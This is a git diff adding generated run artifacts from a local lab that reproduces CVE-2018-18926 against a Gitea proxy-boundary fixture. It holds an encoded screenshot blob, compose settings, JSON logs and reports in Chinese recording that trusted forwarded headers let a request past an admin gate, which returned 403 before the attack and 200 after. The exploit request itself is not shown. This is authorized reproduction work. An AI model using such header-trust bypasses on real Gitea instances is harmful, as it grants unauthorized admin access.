zUAtL$z#Q3=q)CyyeCxChW_4A@!FWE4drffQ@`VBc04 zNm!?*etxC5Mc1)um;RaX+=q13yf+TAHP3yTw&N3=>x`VTfQD1DR4ZhaQwf-LwLyoi zNezG6+)ihd|03+JZ6+0ej8FEN$=WgwOREi4W?k=#@f6cDE0R?k&CG{gKt-vAn|H;c zV0Q-lvzE5DfPjSUNL}iO4^lm!1tR7;g;)mJ{3*SIxI)DWFZ~Xc zJlgA~gy9fr={sCT>UiIIytLT&*C&!5dKP%)saKno<;5{#X=dwA!FQgojf{wfO$=RQ zA0#L!APt0*iBgLu(7D^HhHXBa9d#!d#ykeIC`nfmN5bg1`}Jb;-eUWi4Dg{rM=^{B zK)_K9>?@J`du!U{<$=qF_fSVTmn2vkWTrbJxxK;8k)Fl)-k9+>NkePMTFBh;-MLn< zZ0Xc z+NXcmpz8?d7buBYbfqT~_z+0b6&IO$9&*LLRJJJ?QlOyHZZ%dKcEc;bPhjneDoQ(jJqCP~6y@IIQIvCYanlDn!|ZR|4Fp-vzrA^WkJrO(wt@B7)YT`nE|pV9_^&grE$g4W@(PIYJ8XGLVUJYr(oL7CVYu7 z-{<~)bJ<^Jck^)e_%KWM{H(Ubto!a^y^mjuPMM8r9f{LbVUL}IUqyuKIck=ZHQB~y zeD>2s&@POHehPP4zE;WlZZ3biEU`hYr3H$QBkh-v$KW?SN{tSE7><)vcmm|NIv_Sa z8wRRuj&+7o0t<^VQ1Rf-?*VV^qy4ac6;z4u`I(p#(XcLg-TtnCQ{-nE@ezNl0u+X`5GXHw05~_AYeBXy$a!&wmv;zw3Qex_5K$I*I?>l2i`3ZrVM&DTb(0#$q^C9Y*^P zr#!jRWg;@=en;k<0W_#I8jbv;PVluehD{Zy34keYuX5X4tz@^%{w(*s0s8^I3Ck1gF;1sse)nD#5iq%OE+MNs;QeJE-#y1 zi?{O$mGh>oRoVS>VK~(AetKQ%wb!KuTnKQ~Max8SbdPn&;`J(1ucB+b;frWUlL?n@ z811qnFE$cj_Vc#NgM#OEs~u5@8gDO5fc1i2d-}k%Va;4czs(s*8BT@JU&&3M#OA5?;Il%#CGghN+z5RPC6&MPUY?>aQj~8xj!K4EH+N135>m-~u zV`)Y}b4hz9VA9q`Q+u?#+~?f2IAu8k9h5<20vZWeXr-jy+q9D8QNxPJ>ZEzpj22brwtc!T;ub>digCAwTzfTO0hZ~5an@uyXKqY;;gZNYWD)SPj z&j}pULu|p~ot%A5Fq_AOdA%l3!S>s27uC`_~jP7 z+&S;f@VVv07QvH&cJI|T&cySm7-Q*!%nvuI!@#Uv=Y1nHwe=&ZW^j$Pyh7-mH?vbf zy^!q$NQUdHk)!p~V{p|dKP71rkj#zlHtk5K5%!9u!$()xs}5U8)2rXW|4U!9Qsq#F zaAHnJ#XOpBXL%HWmz3G6nJU;cdz9S9mjq_%xJI!q<5S1odC~}zQrcIVT0guQ^!cmK&-i-EWG{BGY82%)U~ z<-duf1sEA+kR!XspxQ%WE8m_OY#eeVy{H;f9hjVg?ak(#6RAv1RWMPpx!Ct|ph+p5 zp(t_$d?5(0JqtH^muGAUHbN1rv2XLUO9SBl)~I8&9L)0ZsS6JX(rIyW3BJWWJyGq- zaE{$1Bh^Ax>n{4cl!~ zwSdFrRC%Bl(u-I1hcVA)vb0RHy9zx{6DSc##;w6Vf-1N9kZ~5rYaV>z)RW(8@MOL_ zL3Z(xprFsep9Z$y;|I3EgY7I;R9CK;GHR5O1DPSrZB&?onA5juK9IQ?pMtDvL_15INxR6 zws*E}@?k;Ik{vjMD$OOurMlH-;;$|fuMPyht)&lh4P_JXQ&dmpQ_-mPIn4l~eh0qi z(N0`VWKuFvJ^A>C<;3+;Z&v+5m2wkVc(_zJ4emXzv=nJN8v_lD!q~|W=Ax}904EV1vEd0jIPIi@sZ`Gl z>wJ8;3~I~DqGi*N@6)G(Ydg4Lj@rU;`v|HPg*xWq9B$eiM*K$$NECF}K2-E=Y&<{T zJ}-i=8S6y&lHp=vIUQ#xi4Q)BD1=WR#{Z)>BzVRDFHWZh7=RV^54lVA@DQfyZOyi? zfjD%i;IsVsY_C%Mzwlo0q`z$eOZezlx$AMex&6pDu)S)jbW zuEztTFDuBQ$|=vH{VmnmSf;wUwI2XXEn2{CtCYmBz|p765WAKTaE%56T7Nt13z}TSZy&Ht@LedtriE-ixBegqQdh zig=&eTC~l~dkgZ-6=}n4LCW1_6CSl+NY~Gzj9g8j-2<goR-^ybfv7 zmY#8AK%=Ux4hh{`9yIGQiOmM`ciU=3RWo1-A}+5Xfs32`NiBW|$@EF0jN78baUp|B zpxCrKUhDEb`Y4IMEM;$NV;-{(43Ek=_gASsysAv8BBY2D^}ZjxB>W+2aA5LKUuK9s z()sa2-QC@!9Qq!hlK_L4=w7Ji3K5VK+SP)UQ*FjdO;7z5;OyQLCXz6QnSlq&Fnk7TB!*oIdps>NK`N7QqpLD9RjcAdCG%;qEuqGG;Ixe;nFQIY#I2}f*x z26aqq4^O~9$R;uu=O7D@Ri=40`8Z*HvxWa4sQxI&4`v@-ZkBVVdtlLjN5AILNFf@; zhiD|yd5D!5$u(SPAeFKO`;oYqt5Den-;ELr@qBhCzI?MRKL;>#!LW+f2lVZ$k><4C)wM`B|HyX?sti z*mOLA5vIWx4MIw-)20K=Co=1bB@*#)TEdhc;N`qe4wR$2mUzugvH7g^=@V4H_q+5Y ziP`p0je^$dv%g-8;k~woL@R1Tl=)IfDm?ZV&{UaO-v1i7yX}4vb^w(H)MlTQL5V6PFwgyjZ6>0Wz zhQ9!D)phab?ZZdDXDRAzq?EqJ`fM%LW7g;GybwDDJ^B!ugMFPh^HJZq_0eWnYjmE@YT`U z+~&-FQ&v$RD+|gTx^6ZK_+8%3eNj}k#nBKv(fnEVEkHm217|AZCgLqI;h`~`V?{EY z$~OHM?kHVx$v`xkQ(ZTDEk&ZU4zUi$_;^u0?Il)p6eEZQ1VC+4WGpPRI4-;-W&xzi zmW-fWK%oG^DxEco?bq0^wm?`h9YGm#7j)fP_#1w!U!Q?VYB5lyfGhBw4o@YxCx$;{ z=a$MbxV&-WdwkC<*yO5Th4EN23-r_3m%8LHZ_jhF>SPS&#uR=cV&M>x&U9JR9xBv4 zM*EI|7^Qt`liI=o^cH$N7?CI!!>5oDxP*I?f{8X=m{LGC(*K-8C3`;ym*p*If0^}- z)6c^8vctg-ZqN*tgLtcyB*Lbg^4aKW42wXrK_Sc_l$oZ!pIpwKbd5MS*C0|@*nDpg zzybWWePzxG^Tqc+5pkaO&7?Y6j;3UrSp6Lb=vcpB5y}phy(w(JRZ3w9!eBaC;|o1x zu8spgEiLUs!fWlsZ~FWGC#mOF+E3;sO;On{x6Q3|kC*w$^F2CQe3;`dh}(P0PxF4X zV-0!Ti_X9Q%t_|C3WL*Mmgm2x=;3)-R`6yRWtrY2s^kM7d^N$z+)G7=+d@AO;RcEqvO{QKwhs;J= zqgv7VsxzF3lszLpLeF%l_704n8*E%UIsC+H+JiJ~m=28NQOkQ?X3{=gd<_z{2t^p@ z5Vb#AlHsy4rhIJz1kT>@hvi**(rXtL(z-J8q_oDgGXX7ola||KVgCh5B7k8z|M@0nJT0W^EoknGmMguMRTXp99qPsKE-Ton* zoc<-P=>cbeibEjSv{bjYc6M%MtE2}~F&1}$l#GEfk#Ol}zw(D+epStVpE=q4*6NF`wcs5l80k?Rkz@L&X-z z9AXR_rND~iYHjD)Ctn_~89JEG!Yls$_633U`zF%9ETXvs8H#D~1puDm+<2Iyo~?}x zuVJ_wOtV&Jxmy)Fh8y3;AcGe+1L~YX4)YL;EDw#uq z0G!w1*0rO_sn>*MhL)NI;gjWEguCzA^!uYe6iO-x-A6@j8V$8kb}ixFgHL>XJ|77g zBmEs0dJ!CRi-9hSkWXUylEQ^v?d85L?cIMI;hNTVduRm3Z_6nC;MH@Tt6BVlf`VlG zwqBGu29JX{S>tkG_^Q{zpC<|vP=e!G=T-dth~OOqZjSxEM&CItBXcJaJ8AhYi=0T7 zDyPF%RIBHo-?!bjNo8V0Q9zCkJl;82G&)gk{QA{Lr_%Tg+ufkn%loWRV$O43@#+<4 zh{lmQRsfU)ya_&yU|!UVmyd+V@f&^&NhGd--b~D;F$?1&RobFFkn(Bv2a$OR%m!i8 zj2+$aBE2mw05qb3T%5OW^4ARDXGHW*3UgLeOcWDY=Tcik(gm!?xcHmH$@#k^LV33K zua!!R&p;Jy>kLLv$wnb4>N}zekM932n1=*u&d?C-?!7I@UvD(s%X8O(WwpM+Ca z){~f3Mdhx2<(6sM2ly6cSsqCS_I{PiiC?bFs1F3?N!zjD^C)9Ez*rX!w-*R*!>oaD zn)FMogxQkGQWxIjzY2S6$=n{Qc%dA@)7|_znq6JKMaZIm5W`Y@uPSKT89&;b9L=u9 zWM2j038qo%*1AmW_aq*{h_~#3slc79TcQn%*cNeZ%^wLY2+4UfwxOP%Rw@0MyUe0Q z1GKi7_k@t^Sr??2!RR?j#@~@k+%H@9S8OW=)TiDaid)jYx(ma2*-_&C3GMECcgcOrU*GNW3q4r#B&P>P9TylyfnMa+ z^=q@=tl_N|FmR&-(8Z?L<%NqE%|mPWotNK1!5Fivw*9=&FIijN|Nlbf(PffX`Rt^^ z6~+PJ86pX&5!?sz%qxItDwgApgtw(v?~`6zn@xE|PFL9J;IA};k0t|| z-70my>&;M&Nb_L7=)QMy7{z8V*WRu=p01d{si*CHccGhKcxq|3U3E*pMDpQ>tiANk zNZm50I=)kY>3*c)82e`A*PkJyS1SE=_(DjfpzoQn^qQaI0>rYp$L*0UGwEdd_4;cz z6N2q|po#6np>Rt!{Lv;5t0A641-L+IgQnl&`*)*`4G`t5;#L4x(MAPRh8>osE1}3F z{vjw_5sEr7=_1x+&*FL@dALE|uX!9j)gb3tW{s|T^3Uov;xsmnwP-hfPyG-wNcb$M zJC@rOXn;UkaXrY~uGoywL0Snq2hh>_>>O0sq8r959bb7L9r{+*M!3YU^B?+bT{lfq z>17WU+vsQ9PS*->!$4a$f*uTe8>jsh#;Tcp-|>in@s49K0C3i{#r?xZwJKi81TCwZ z9z~toJeV`w=}ItctwW4VhR*LaZ$`9+B(=qIH$kd!(f{1;N5?}rsO%ok9=pG;t9#?m z=RLLx^KkWQ+(viaXV7&gTB6FR)pIm-D~*FTH4D%cOB)OPp7RUwf0iGvWGE!C;1Qgq z6X;+BvG)E)KGSNEZDB84xyNY{lQj~D+w&|h?i6YeqwCLqwkYT@uw6!pE;_-WUVd4k zW8KPPa~;FBZ58x7+V>lgHgS{Vmw3elzORrPY^lWPfa-}%h=}{ea00NGdM>@wlX`9c zC#2bB!(ON2<8Ed>@oW}lD(PE}3lzaiZ4R*_o^@2Rq4PEq$IpT&9s-JFnYgi7y{6cW zK3ktUMm{s7Fy!w@@#eo_UqTsx7d=qtxxIcAMA@-%hf(XJ2q~BDwLyU7>RNt<{b?a^ z9g!YD#prPKz@k96dT(|`M<>qASaHtn&5<3wEf-~_4Ko%Nez?rDCu$qEH!~Gb(J&h* ztO<8{AWi-%nyU%w^lCRuNyf#6@tDf zP`(S_MZsjwe4XJ$0nY-(L`iKq4lE3V;Q;@_3)_mzWCwn5w{yV}uLU3Xn%_<8v9{w# z7G6xkjU}0dwQ`;Kx7cSQTS)j_r%ry*y7ya!Gkm08UAvgr^_f#|jFd}1ixdrO|5ySC zp6)8iA6%#eEV=5rQRTr%DO~I9$zDwJ-A~^C|0I$w;>Gq%B~cO*s$I;xBpT&Do1IC0 ztOTEZdTz%*Z=%`BWrOi4AT7uv7r+7 zx1L+CcYmNdJL9im+Vl*wuu$#mMc5*ASSz2Pv#heRGA=F-J}uT_Y+Plfv0014w;g}1 zJRw{C+R~8uG|cl0&i`KA*&C9>!Qk%`HDRJ>pp~t4Q*AQDjAYf}GMC$TC46>I-eV`i zllG-nyC%MD#Sp@=^uiOTKJ2fv{G`2(lKzaBE9B$jV-`Tb?LZU~vVrNwd#ptDvck*j zykVvZ7w1SE=S8M|y_bbGDV<7W7Dg*crVOK|%D1*c*UT;(B&J~J8Ej0}d?ew`I5`s$ zeU6K1M?4qHK9$8=oSLYj%v8hS zUsyT$+zSo{V21t|n#nIT`oOtT)WS4M`jTG1E|vOJ4hVUEfH7BM|6n?6J^N;zxi2c8fmHGD>FbkG^{oi%?cOCw{asCY; z|BFD1!I>rF{u?O%4HW+dihl#e{~}Pp4f1bFhKZA}&x;IjF&Q@2+mn3UN_K3+Czxe> zaSQ$qi{ujI#;/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json new file mode 100644 index 00000000..6538e5c3 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json @@ -0,0 +1,68 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "gitea.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json" + } + ], + "success": true, + "detail": "trusted forwarded headers crossed the boundary", + "before": { + "status_code": 403, + "ok": false, + "body": { + "ok": false, + "detail": "admin boundary still enforced" + } + }, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "gitea--CVE-2018-18926" + } + }, + "after": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "gitea--CVE-2018-18926" + } + }, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "gitea--CVE-2018-18926", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "gitea--CVE-2018-18926" + }, + { + "event": "attack", + "detail": "trusted forwarded headers crossed the boundary" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + } + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-browser.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-browser.json new file mode 100644 index 00000000..4639843a --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-browser.json @@ -0,0 +1,14 @@ +{ + "required": true, + "present": true, + "page_title": "Gitea Proxy Boundary Fixture", + "page_url": "http://127.0.0.1:18101/", + "error_kind": null, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json" + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json new file mode 100644 index 00000000..fe51488c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json @@ -0,0 +1 @@ +[] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json new file mode 100644 index 00000000..e2a9239d --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json @@ -0,0 +1,6 @@ +[ + { + "method": "GET", + "url": "http://127.0.0.1:18101/" + } +] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json new file mode 100644 index 00000000..fe6e7072 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json @@ -0,0 +1,5 @@ +{ + "url": "http://127.0.0.1:18101/", + "title": "Gitea Proxy Boundary Fixture", + "body_excerpt": "\n \n Gitea Proxy Boundary Fixture\n Forwarded header trust boundary and admin gate fixture.\n Baseline ready\n System: gitea / Family: proxy-boundary\n \n \n \n \n \n \n\n" +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json new file mode 100644 index 00000000..f0d7dbb1 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json @@ -0,0 +1,24 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18101/", + "status_code": 200, + "headers": { + "Server": "BaseHTTP/0.6 Python/3.12.13", + "Date": "Wed, 18 Mar 2026 01:25:42 GMT", + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "1010" + }, + "body_excerpt": "\n\n\n \n \n Gitea Proxy Boundary Fixture\n + +

    运行 gitea-gitea--CVE-2018-18926-20260318012526

    +
    +
    漏洞条目
    gitea--CVE-2018-18926
    +
    实证状态
    verified-real
    +
    复现 Profile
    gitea-proxy-boundary
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:25:26+00:00select-advisorycompletedgitea--CVE-2018-18926
    2026-03-18T01:25:26+00:00resolve-repro-profilecompletedgitea-proxy-boundary
    2026-03-18T01:25:27+00:00doctorcompletedall checks passed
    2026-03-18T01:25:41+00:00provision-compose-environmentready-
    2026-03-18T01:25:42+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:25:42+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:25:42+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:25:42+00:00browser-replay-before-attackcompleted-
    2026-03-18T01:25:42+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:25:43+00:00browser-replay-after-attackcompleted-
    2026-03-18T01:25:43+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:25:45+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:25:45+00:00update-registry-and-reportscompletedgitea-gitea--CVE-2018-18926-20260318012526
    +

    攻击步骤

    + + +
    工具状态输出
    gitea.proxy-boundarycompleted/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json
    +

    浏览器截图

    + +

    证据清单

      +
    • compose/compose.yaml
    • +
    • assets/baseline.png
    • +
    • assets/baseline-dom.html
    • +
    • logs/baseline-console.json
    • +
    • logs/baseline-network.json
    • +
    • logs/baseline-page.json
    • +
    • assets/proof.png
    • +
    • assets/proof-dom.html
    • +
    • logs/proof-console.json
    • +
    • logs/proof-network.json
    • +
    • logs/proof-page.json
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md new file mode 100644 index 00000000..c82a9448 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/report.md @@ -0,0 +1,86 @@ +# 运行 gitea-gitea--CVE-2018-18926-20260318012526 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `gitea--CVE-2018-18926` +- 系统: `gitea` +- Repro Profile: `gitea-proxy-boundary` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:25:26+00:00` +- 完成时间: `2026-03-18T01:25:45+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:25:26+00:00` | `select-advisory` | `completed` | gitea--CVE-2018-18926 | +| `2026-03-18T01:25:26+00:00` | `resolve-repro-profile` | `completed` | gitea-proxy-boundary | +| `2026-03-18T01:25:27+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:25:41+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:25:42+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:25:42+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:25:42+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:25:42+00:00` | `browser-replay-before-attack` | `completed` | - | +| `2026-03-18T01:25:42+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:25:43+00:00` | `browser-replay-after-attack` | `completed` | - | +| `2026-03-18T01:25:43+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:25:45+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:25:45+00:00` | `update-registry-and-reports` | `completed` | gitea-gitea--CVE-2018-18926-20260318012526 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `gitea.proxy-boundary` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `10` +- 容器日志: `1` +- 请求日志: `2` + +## 浏览器截图 + +![baseline](assets/baseline.png) +![proof](assets/proof.png) + +## 浏览器证据 + +- `assets/baseline.png` +- `assets/baseline-dom.html` +- `logs/baseline-console.json` +- `logs/baseline-network.json` +- `logs/baseline-page.json` +- `assets/proof.png` +- `assets/proof-dom.html` +- `logs/proof-console.json` +- `logs/proof-network.json` +- `logs/proof-page.json` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/run.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/run.json new file mode 100644 index 00000000..255a769d --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/run.json @@ -0,0 +1,197 @@ +{ + "run_id": "gitea-gitea--CVE-2018-18926-20260318012526", + "system_id": "gitea", + "advisory_id": "gitea--CVE-2018-18926", + "repro_profile_id": "gitea-proxy-boundary", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "gitea.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json" + } + ], + "browser_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json" + ], + "browser_evidence": { + "required": true, + "present": true, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline-page.json" + ], + "proof_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/assets/proof-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/proof-page.json" + ], + "baseline_title": "Gitea Proxy Boundary Fixture", + "proof_title": "Gitea Proxy Boundary Fixture - proof", + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2018-18926-20260318012526/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:25:26+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "gitea--CVE-2018-18926" + }, + { + "at": "2026-03-18T01:25:26+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "gitea-proxy-boundary" + }, + { + "at": "2026-03-18T01:25:27+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:25:41+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:25:42+00:00", + "step": "browser-replay-before-attack", + "status": "completed", + "detail": "" + }, + { + "at": 